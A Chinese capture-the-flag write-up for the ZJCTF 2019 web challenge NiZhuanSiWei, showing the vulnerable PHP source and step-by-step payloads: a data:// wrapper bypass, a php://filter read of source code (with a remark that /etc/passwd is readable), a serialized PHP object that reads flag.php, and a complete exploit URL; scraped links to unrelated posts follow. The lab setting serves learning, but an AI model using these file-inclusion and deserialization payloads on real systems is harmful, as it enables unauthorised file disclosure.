0x00知识点

1:data伪协议写入文件

2:php://

php://filter用于读取源码
php://input用于执行php代码

3反序列化

0x01解题

打开题目,给了我们源码

<?php  
$text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}?>

第一个绕过:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话往后面看没有其他可以利用的点,我们就无法写入文件再读取,就剩下了一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

当然也可以不需要base64,但是一般为了绕过某些过滤都会用到base64。data://text/plain,welcome to the zjctf

第二个绕过

$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}

这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用:

file=useless.php

所以下面采用filter来读源码,但上面提到过针对php文件需要base64编码,所以使用其自带的base64过滤器。

php://filter/read=convert.base64-encode/resource=useless.php

读到的useless.php内容如下:

<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

第三个绕过

$password = $_GET["password"];
include($file); //useless.php
$password = unserialize($password);
echo $password;

这里的file是我们可控的,所以在本地测试后有执行下面代码即可出现payload:

<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后payload

http://6619a3b1-daa6-4ab9-bb3d-ba8b90593516.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D

参考链接https://www.redmango.top/articles/article/40/

[ZJCTF 2019]NiZhuanSiWei的更多相关文章

  1. [BUUOJ记录] [ZJCTF 2019]NiZhuanSiWei

    考察PHP伪协议+反序列化,都比较简单 进入题目给出源码: <?php $text = $_GET["text"]; $file = $_GET["file&quo ...

  2. [ZJCTF 2019]NiZhuanSiWei 1

    考察知识点:反序列化.php伪协议 1.打开之后获得源码信息,如下: <?php $text = $_GET["text"]; $file = $_GET["fil ...

  3. [BUUCTF]PWN——[ZJCTF 2019]EasyHeap

    [ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...

  4. [BUUCTF]PWN——[ZJCTF 2019]Login

    [ZJCTF 2019]Login 附件 步骤: 例行检查,64位程序,开启了canary和nx保护 2. 试运行一下程序 3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2j ...

  5. [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

    简介  原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/  考察知识点:反序列化.PHP伪协议.数组绕过   ...

  6. [ZJCTF 2019]Login

    学了一段时间的堆溢出现在继续做题, 例行检查一下 64位的程序放入ida中 shift+f12查看程序函数 可以看到非常明显的后门程序 查看主函数 发现了程序给的账号和密码,但是没有看到明显的栈溢出漏 ...

  7. [ZJCTF 2019]EasyHeap | house of spirit 调试记录

    BUUCTF 上的题目,由于部分环境没有复现,解法是非期望的 house of spirit 第一次接触伪造堆的利用方式,exp 用的是 Pwnki 师傅的,本文为调试记录及心得体会. 逆向分析的过程 ...

  8. [ZJCTF 2019]EasyHeap

    目录 逆向分析 create 函数 edit 函数 delete 函数 利用思路 exp 脚本 get flag 内容来源 逆向分析 -------------------------------- ...

  9. BUU刷题01

    [安洵杯 2019]easy_serialize_php 直接给了源代码 <?php $function = @$_GET['f']; function filter($img){ $filte ...

随机推荐

  1. 吴裕雄 Bootstrap 前端框架开发——Bootstrap 字体图标(Glyphicons):glyphicon glyphicon-info-sign

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name ...

  2. Codeforces 1111C Creative Snap分治+贪心

    Creative Snap C. Creative Snap time limit per test 1 second memory limit per test 256 megabytes inpu ...

  3. P 1008 说反话

    转跳点:

  4. c++输出哈夫曼编码

    #include<iostream> #include<string> using namespace std; struct huffTree { int parent; i ...

  5. Hibernate--起步

    1.配置对象 配置对象是你在任何 Hibernate 应用程序中创造的第一个 Hibernate 对象,并且经常只在应用程序初始化期间创造.它代表了 Hibernate 所需一个配置或属性文件.配置对 ...

  6. 023-PHP常用数组函数

    <?php $colors = array("red", "green", "blue","yellow"); p ...

  7. c# 多张图片合成一张图片

    using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System. ...

  8. 学习spring第五天 mybatis+spring的整合(maven多模块数据查询使用了分页和连接池),以及aop

    mybatis+spring的整合: 导入的依赖:1.数据库连接:mysql-connector-java 2.连接池:druid 3.servlet:javax.servlet-api 4.jstl ...

  9. 动态添加,删除class样式

    function hasClass(obj, cls) { //class位于单词边界,判断class样式是否已经存在 return obj.className.match(new RegExp('( ...

  10. sql 左联 右联 内联的区别

    如有表a(col1,col2),a,1b,1 b(col1,col2)a,3c,2 内部联接是指只返回符合联接条件的资料,如select * from a join b on a.col1 = b.c ...